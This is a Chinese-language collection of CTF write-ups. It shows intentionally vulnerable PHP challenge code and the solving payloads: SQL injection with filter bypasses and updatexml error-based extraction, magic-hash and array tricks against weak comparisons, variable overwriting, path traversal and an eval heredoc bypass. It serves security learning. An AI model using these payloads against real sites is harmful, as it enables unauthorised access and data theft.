一道过滤齐全的sql注入

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

首先uname pwd不为空。然后这里最关键的语句
if($key['pwd'] == $_POST['pwd'])

1.png
找了找资料 发现这里利用了with rollup技巧 我们这么执行就加了一行pass进pwd为空的,因为过滤了逗号不能用limit(1,1),但可以用limit 1 offset 1 这里注意一点是rollup是在查询结果最后加上一行,所以我们要fuzz一下 这题最后的payload:
uname=' or 1=1 group by pwd with rollup limit 1 offset2 #&pwd=

简单的弱类型 (真.简单)

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';
?>

sha1加密后 和md5加密后是一样的 只能加密字符串 不能加密数组 会返回NULL NULL===NULL
?name[]=1&password[]=2

一道需要代码审计的sql注入

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>

这题看到的时候,觉得特别奇怪,因为他调用sql接口调用的是查询user 而password是后来md5加密然后进行比对的。
所以我们现在用户名处添加语句
' union select "0e830400451993494058024219903391"
闭合掉前面的' 查询一个md5
语句如下
select pw from php where user=' ' union select "0e830400451993494058024219903391"
然后密码的值明文是这个QNKCDZO
所以构造payload:user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO

套娃变量

<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
?>

这里面主要就是$$这种变量成为套娃变量 直接echo flag直接会被修改,所以我们可以用$_403和$_200来利用
/index.php?_200=flag
POST:
flag=1

不一样的sql注入

error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

主要是这个东西htmlentities($str, ENT_QUOTES) 我们无法用单引号来闭合单引号,后来查了下资料 发现可以用 并且htmlentities是不管的
123.png
payload:

?username=admin\&password=or 1=1%23

三个白帽的一道sql注入

<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}
function filter($str){
    $rstr = "";
    for($i=0;$i<strlen($str);$i++){
        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);
    return $rstr;
}
if(!empty($message)){
    if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
        die("hello,sangebaimao!");
    }
    if(filter($message) !== $message){
        die("hello,sangebaimao!");
    }
    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);
    if($result){
        while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];
            echo "|$id|=>|$message|<br/>";
        }
    }
    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";
    if(!mysql_query($sql)){
        print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}
?>

首先发现过滤了很多东西 然后又addlashes 我们想要闭合语句就要想到怎么bypass单引号,师傅给出了一个思路stripcslashes 他会吃掉'的 思路是x27 这题主要思路是过那一堆 select update常见的都被ban了,这里面有个思路
/!00000select/ 在别的数据库里面只是注释 而在Mysql里可以执行 前面的五个数字代表只有大于这个版本才不当注释使用
因为有一句print(mysql_error());,所以可以报错注入了
?message=aaax27 and updatexml(0,concat(0x27,(/!00000select version()/)),0)%23

大佬的解答:这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select
version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log,
因此得到了你想要得到的数据

update下的子注入

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}` 
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}
mysqli_close($link);

代码能看懂 没逃逸思路,直接附链接学习一波

https://paper.seebug.org/216/

弱类型读取文件

<?php
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("php/$filename");
?>

if(stripos($filename, 'file_list') 这里如果file_list在第一个位置就会返回
0,因为php的弱类型比较 0==false
所以执行下面的,现在的目标是读取上层目录的file_list.php
主要函数是stripos的函数的查找功能
构造Payload:?f=file_list../../file_list.php
将file_list当成是文件夹然后返回上级目录的file_list.php进行读取

变量覆盖漏洞

<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {        
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();
 
GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);
 
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { 
        $$k = $v; 
}
  
# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
        $uname = mysql_real_escape_string($_POST['username']);        
        $pass = md5($_POST['password']);
        $query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
        $db = gdo_db();
        if (false === ($row = $db->queryFirst($query))) {
                echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));        
        } else {
                # Login success
                $login = array($_POST['username'], (int)$row['level']);
        }
} 
if (isset($login))
{
        echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back',array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
        if (strtolower($login[0]) === 'admin') {                
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }
} else {?>
        <form action="globals.php" method="post">
        <table>
        <tr>
                <td><?php echo $chall->lang('th_username'); ?>:</td>        <td><input type="text" name="username" value="" /></td>
        </tr>
        <tr>
                <td><?php echo $chall->lang('th_password'); ?>:</td>
                <td><input type="password" name="password" value="" /></td></tr>
        <tr>
                <td></td>
                <td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
        </tr></table>
        </form>
        <?php
}
 # EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }
 
require_once 'challenge/html_foot.php';
?>

核心代码
foreach ($_GET as $k => $v) {

        $$k = $v; 
}
  

$$k是可变变量

if (strtolower($login[0]) === 'admin') {

                $chall->onChallengeSolved(GWF_Session::getUserID());
        }

要使strtolower($login[0]) === 'admin',可以通过GET传入login[0]=admin。通过上面的代码将会执行
$login[0]=admin;
成功绕过验证

heredoc的应用

<?php
// closure, because of namespace!
$challenge = function()
{
        $f = Common::getGetString('eval');        $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
 
        if((strlen($f) > 13) || (false !== stripos($f, 'return')))
        {
                die('sorry, not allowed!');        }
 
        try
        {
                eval("\$spaceone = $f");        }
        catch (Exception $e)
        {
                return false;
        } 
        return ($spaceone === '1337');
};
?>

看一眼这题的逻辑通过eval获取字符串,但是将常见的" '全部过滤掉了
字符串长度要小于13 不能包含return
我们的目标是return true 强类型比较要求一定是字符串型的1337
这里就要科普一个神奇的小东西 heredoc
1.png
然后要注意字符串长度小于13 然后我们想象的东西是这样子的

$f = <<<q
1337
q;

构造payload:

eval=<<<q%0a1337%0aq;%0a

进制问题

<?php
$flag = "xxx";
if (isset($_POST['answer'])){
        $number = $_POST['answer'];
        if (noother_says_correct($number)){
                echo $flag;
        }  else {
                echo "Sorry";
        }
}

function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        # Check all the input characters!        
        for ($i = 0; $i < strlen($number); $i++)
        { 
                # Disallow all the digits!
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )                
                {
                        # Aha, digit not allowed!
                        return false;
                }
        }        
        # Allow the magic number ...
        return $number == "3735929054";
}
?>

代码的意思是要post传参 然后这里面的内容不能是1-9
用到的还是 ==的弱类型比较
我们的思路是16进制 然后会出现0x这种 ==通过成功 get flag
数字的16进制是0xdeadc0de,正好过掉1-9这个限制
最终payload:answer=0xdeadc0de